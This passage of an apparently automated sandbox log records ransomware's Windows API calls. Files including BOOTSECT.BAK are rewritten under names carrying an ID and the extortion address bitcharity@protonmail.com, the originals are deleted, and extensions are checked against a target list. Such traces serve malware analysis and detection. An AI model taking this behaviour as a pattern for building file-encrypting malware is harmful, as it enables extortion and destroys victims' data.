lpNumberOfBytesRead=0x320fecc*=0x1387c, lpOverlapped=0x0) returned 1 [0137.482] WriteFile (in: hFile=0x1098, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13880, lpOverlapped=0x0) returned 1 [0137.483] ReadFile (in: hFile=0x10b0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.484] WriteFile (in: hFile=0x1098, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xf6, lpOverlapped=0x0) returned 1 [0137.484] SetEndOfFile (hFile=0x1098) returned 1 [0137.484] CloseHandle (hObject=0x1098) returned 1 [0137.486] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.486] SetEndOfFile (hFile=0x10b0) returned 1 [0137.487] CloseHandle (hObject=0x10b0) returned 1 [0137.487] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.487] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0137.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0137.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0137.488] lstrlenW (lpString=".doc") returned 4 [0137.488] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.488] lstrlenW (lpString=".docx") returned 5 [0137.488] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0137.488] lstrlenW (lpString=".pdf") returned 4 [0137.488] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.488] lstrlenW (lpString=".xls") returned 4 [0137.488] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.488] lstrlenW (lpString=".xlsx") returned 5 [0137.488] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0137.488] lstrlenW (lpString=".ppt") returned 4 [0137.488] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0137.488] lstrlenW (lpString=".zip") returned 4 [0137.488] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.488] lstrlenW (lpString=".rar") returned 4 [0137.488] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.488] lstrlenW (lpString=".bz2") returned 4 [0137.488] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.488] lstrlenW (lpString=".7z") returned 3 [0137.488] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0137.488] lstrlenW (lpString=".dbf") returned 4 [0137.488] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0137.488] lstrlenW (lpString=".1cd") returned 4 [0137.488] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0137.489] lstrlenW (lpString=".jpg") returned 4 [0137.489] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0137.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0137.489] lstrlenW (lpString=".doc") returned 4 [0137.489] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.489] lstrlenW (lpString=".docx") returned 5 [0137.489] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0137.489] lstrlenW (lpString=".pdf") returned 4 [0137.489] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.489] lstrlenW (lpString=".xls") returned 4 [0137.489] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.489] lstrlenW (lpString=".xlsx") returned 5 [0137.489] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0137.489] lstrlenW (lpString=".ppt") returned 4 [0137.489] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0137.489] lstrlenW (lpString=".zip") returned 4 [0137.489] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.489] lstrlenW (lpString=".rar") returned 4 [0137.489] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.489] lstrlenW (lpString=".bz2") returned 4 [0137.489] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.489] lstrlenW (lpString=".7z") returned 3 [0137.489] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0137.489] lstrlenW (lpString=".dbf") returned 4 [0137.489] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0137.489] lstrlenW (lpString=".1cd") returned 4 [0137.489] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0137.490] lstrlenW (lpString=".jpg") returned 4 [0137.490] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.490] lstrcmpiW (lpString1=".html", lpString2=".com") returned 1 [0137.490] lstrlenW (lpString="DHtmlHeader.html") returned 16 [0137.490] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0137.490] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=16118) returned 1 [0137.490] CloseHandle (hObject=0x10b0) returned 1 [0137.490] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0137.490] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.491] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0137.491] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.491] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.491] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0137.497] GetLastError () returned 0x0 [0137.497] ReadFile (in: hFile=0x10b0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x3ef6, lpOverlapped=0x0) returned 1 [0137.649] WriteFile (in: hFile=0x1098, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x3f00, lpOverlapped=0x0) returned 1 [0137.651] ReadFile (in: hFile=0x10b0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.651] WriteFile (in: hFile=0x1098, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xf4, lpOverlapped=0x0) returned 1 [0137.651] SetEndOfFile (hFile=0x1098) returned 1 [0137.907] CloseHandle (hObject=0x1098) returned 1 [0137.909] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.909] SetEndOfFile (hFile=0x10b0) returned 1 [0137.911] CloseHandle (hObject=0x10b0) returned 1 [0137.911] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.911] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0137.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0137.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0137.912] lstrlenW (lpString=".doc") returned 4 [0137.912] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0137.912] lstrlenW (lpString=".docx") returned 5 [0137.912] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0137.912] lstrlenW (lpString=".pdf") returned 4 [0137.912] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0137.912] lstrlenW (lpString=".xls") returned 4 [0137.912] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0137.912] lstrlenW (lpString=".xlsx") returned 5 [0137.912] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0137.912] lstrlenW (lpString=".ppt") returned 4 [0137.912] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0137.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0137.912] lstrlenW (lpString=".zip") returned 4 [0137.912] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0137.912] lstrlenW (lpString=".rar") returned 4 [0137.912] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0137.912] lstrlenW (lpString=".bz2") returned 4 [0137.912] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0137.913] lstrlenW (lpString=".7z") returned 3 [0137.913] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0137.913] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0137.913] lstrlenW (lpString=".dbf") returned 4 [0137.913] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0137.913] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0137.913] lstrlenW (lpString=".1cd") returned 4 [0137.913] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0137.913] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0137.913] lstrlenW (lpString=".jpg") returned 4 [0137.913] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0137.913] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0137.913] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0137.913] lstrlenW (lpString=".doc") returned 4 [0137.913] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0137.913] lstrlenW (lpString=".docx") returned 5 [0137.913] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0137.913] lstrlenW (lpString=".pdf") returned 4 [0137.913] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0137.913] lstrlenW (lpString=".xls") returned 4 [0137.913] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0137.913] lstrlenW (lpString=".xlsx") returned 5 [0137.913] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0137.913] lstrlenW (lpString=".ppt") returned 4 [0137.913] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0137.913] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0137.914] lstrlenW (lpString=".zip") returned 4 [0137.914] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0137.914] lstrlenW (lpString=".rar") returned 4 [0137.914] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0137.914] lstrlenW (lpString=".bz2") returned 4 [0137.914] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0137.914] lstrlenW (lpString=".7z") returned 3 [0137.914] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0138.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0138.120] lstrlenW (lpString=".dbf") returned 4 [0138.120] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0138.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0138.121] lstrlenW (lpString=".1cd") returned 4 [0138.121] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0138.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0138.121] lstrlenW (lpString=".jpg") returned 4 [0138.121] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0138.121] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0138.121] lstrlenW (lpString="UiInfo.xml") returned 10 [0138.121] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0138.121] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=38898) returned 1 [0138.122] CloseHandle (hObject=0x1038) returned 1 [0138.123] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0138.124] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0138.124] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0138.124] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.124] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.124] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0138.124] GetLastError () returned 0x0 [0138.124] ReadFile (in: hFile=0x1038, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x97f2, lpOverlapped=0x0) returned 1 [0138.256] WriteFile (in: hFile=0x1098, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x9800, lpOverlapped=0x0) returned 1 [0138.260] ReadFile (in: hFile=0x1038, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.261] WriteFile (in: hFile=0x1098, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xe8, lpOverlapped=0x0) returned 1 [0138.261] SetEndOfFile (hFile=0x1098) returned 1 [0138.261] CloseHandle (hObject=0x1098) returned 1 [0138.265] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.265] SetEndOfFile (hFile=0x1038) returned 1 [0138.266] CloseHandle (hObject=0x1038) returned 1 [0138.267] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0138.267] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1 [0138.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0138.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0138.267] lstrlenW (lpString=".doc") returned 4 [0138.267] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0138.267] lstrlenW (lpString=".docx") returned 5 [0138.267] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0138.267] lstrlenW (lpString=".pdf") returned 4 [0138.267] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0138.267] lstrlenW (lpString=".xls") returned 4 [0138.267] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0138.267] lstrlenW (lpString=".xlsx") returned 5 [0138.267] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0138.267] lstrlenW (lpString=".ppt") returned 4 [0138.267] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0138.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0138.268] lstrlenW (lpString=".zip") returned 4 [0138.268] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0138.268] lstrlenW (lpString=".rar") returned 4 [0138.268] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0138.268] lstrlenW (lpString=".bz2") returned 4 [0138.268] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0138.268] lstrlenW (lpString=".7z") returned 3 [0138.268] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0138.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0138.268] lstrlenW (lpString=".dbf") returned 4 [0138.268] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0138.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0138.268] lstrlenW (lpString=".1cd") returned 4 [0138.268] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0138.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0138.268] lstrlenW (lpString=".jpg") returned 4 [0138.268] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0138.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0138.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0138.268] lstrlenW (lpString=".doc") returned 4 [0138.268] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0138.268] lstrlenW (lpString=".docx") returned 5 [0138.268] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0138.268] lstrlenW (lpString=".pdf") returned 4 [0138.268] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0138.268] lstrlenW (lpString=".xls") returned 4 [0138.268] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0138.268] lstrlenW (lpString=".xlsx") returned 5 [0138.268] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0138.268] lstrlenW (lpString=".ppt") returned 4 [0138.268] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0138.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0138.269] lstrlenW (lpString=".zip") returned 4 [0138.269] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0138.269] lstrlenW (lpString=".rar") returned 4 [0138.269] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0138.269] lstrlenW (lpString=".bz2") returned 4 [0138.269] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0138.269] lstrlenW (lpString=".7z") returned 3 [0138.269] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0138.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0138.269] lstrlenW (lpString=".dbf") returned 4 [0138.269] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0138.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0138.269] lstrlenW (lpString=".1cd") returned 4 [0138.269] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0138.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0138.269] lstrlenW (lpString=".jpg") returned 4 [0138.269] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0138.269] lstrcmpiW (lpString1=".BAK", lpString2=".com") returned -1 [0138.269] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0138.269] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0138.270] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=8192) returned 1 [0138.270] CloseHandle (hObject=0x1038) returned 1 [0138.270] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0138.270] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\bootsect.bak.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0138.270] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0138.270] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0138.270] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.270] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.270] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\bootsect.bak.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0138.313] GetLastError () returned 0x0 [0138.313] ReadFile (in: hFile=0x1038, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x2000, lpOverlapped=0x0) returned 1 [0138.469] WriteFile (in: hFile=0x1098, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x2010, lpOverlapped=0x0) returned 1 [0138.755] ReadFile (in: hFile=0x1038, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.755] WriteFile (in: hFile=0x1098, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0138.755] SetEndOfFile (hFile=0x1098) returned 1 [0138.755] CloseHandle (hObject=0x1098) returned 1 [0138.757] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.757] SetEndOfFile (hFile=0x1038) returned 1 [0138.758] CloseHandle (hObject=0x1038) returned 1 [0138.758] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x27) returned 1 [0138.758] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0138.758] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0138.758] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0138.758] lstrlenW (lpString=".doc") returned 4 [0138.758] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0138.758] lstrlenW (lpString=".docx") returned 5 [0138.758] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0138.758] lstrlenW (lpString=".pdf") returned 4 [0138.759] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0138.759] lstrlenW (lpString=".xls") returned 4 [0138.759] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0138.759] lstrlenW (lpString=".xlsx") returned 5 [0138.759] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0138.759] lstrlenW (lpString=".ppt") returned 4 [0138.759] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0138.759] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0138.759] lstrlenW (lpString=".zip") returned 4 [0138.759] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0138.759] lstrlenW (lpString=".rar") returned 4 [0138.759] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0138.759] lstrlenW (lpString=".bz2") returned 4 [0138.759] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0138.759] lstrlenW (lpString=".7z") returned 3 [0138.759] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0138.759] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0138.759] lstrlenW (lpString=".dbf") returned 4 [0138.759] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0138.759] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0138.759] lstrlenW (lpString=".1cd") returned 4 [0138.759] lstrcmpiW 